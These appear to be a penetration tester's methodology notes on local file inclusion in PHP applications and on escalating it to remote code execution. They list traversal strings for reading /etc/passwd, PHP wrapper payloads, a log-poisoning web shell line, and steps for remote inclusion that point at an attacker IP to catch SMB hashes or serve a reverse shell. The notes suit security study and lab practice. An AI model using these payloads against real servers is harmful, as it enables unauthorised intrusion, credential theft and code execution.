LFI Methodology

#lfi-methodology

• 🔎 1. Recon & Initial Assessment

  • Identify user-controllable parameters (file=, page=, view= etc.)
  • check if php extension is there (or auto appended?)

• 📂 2. Basic LFI tests

  • Test classic directory traversal:
    • ../../../../etc/passwd
    • ..%2f..%2f..%2fetc/passwd (URL encoded could work)
    • /etc/passwd or /windows/system.ini —> absolute path could work
  • php filters and wrappers
    • php://filter/convert.base64-encode/resource=FILE —> read source code like index.php pages (in base64 output)
    • php://filter/read=string.rot13/resource=index —> reads source file index.php and output its content in rot13 (not reliable for source disclosure like base64)
    • zip://uploads/target.jpg%23code OR file=zip:///var/www/html/uploads/upload_1718198574.zip%23shell —> target.jpg is a zip file with code a php rev shell inside of that zip file. it’ll get executed.
    • phar://uploads/upload.zip/phpinfo —> upload.zip is a zip file with phpinfo.php a php file inside the zip that will get executed.
  • remote inclusion aka trying to point file to an ip address
    • setup an NC listener oy python web server on port 80 or 445 (for windows SMB)
    • use http://192.168.45.228/test —> check if listener catches a request.
    • If the machine is windows + SMB is open
      • use \\192.168.45.228\test —> check if listener catches a request.
      • Try Responder to get the hash
      • Try regular SMB server serving files to inject a php rev shell

LFE to RCE

#lfi-to-rce

🔑 Conditions that turn LFI → RCE

1. Inclusion of files with user-controlled content

   • If you can include a file that you can write to, then you can inject PHP/ASP/etc. code and have it executed.

   • Examples:

     • Upload feature allows you to upload .php file (or polyglot file like .jpg.php) → include it → executes.

     • Log poisoning → write <?php system($_GET['cmd']); ?> into access/error logs, then include the log file.

2. Inclusion of temporary/session files

   • If session files or temporary files contain attacker-controlled data, including them can execute code.

   • Example: PHP sessions stored in /tmp/sess_<id> contain serialized attacker input → inclusion executes payload.

3. Inclusion of system files with interpretable payloads

   • Certain files might be parsed as code in the context of the application:

     • /proc/self/environ (contains User-Agent, attacker can inject PHP code if parsed by PHP engine).

     • /proc/self/fd/* file descriptors referencing attacker-controlled requests.

4. Wrapper protocols (PHP specific)

   • php://input → allows direct execution of POST data.

   • data:// → allows inline base64 encoded payloads.

   • expect:// → executes commands directly (if enabled).

   • If allow_url_include=On, then remote file inclusion (RFI) is possible → attacker includes code from external server.

5. Application logic that interprets included file content as code

   • Some applications eval() the included content or expect it to contain executable scripts/templates.

(add this here https://kwangyun.github.io/File-Inclusion-Log-Poisoning-RCE/)

LFI ready for RCE or regular path traversal?

we can find out whether we are dealing with a regular LFI or a path traversal only using these simple checks

try to include a known server page (e.g., index.php, login.php) via the vulnerable parameter.

• If the page renders normally (HTML appears as if you visited it directly) or you see the same output as visiting that page → strong sign the file is being included in execution context (possible LFI with execution).

• If the page contents appear as raw source or plain text, or you just see file contents → the input may be read-only (file read), or the application is returning file content rather than executing it.

• If the request hangs or the server returns a long delay / partial response → that can indicate the included file is being executed and is blocking (e.g., running code, waiting for I/O). This is another sign of execution context.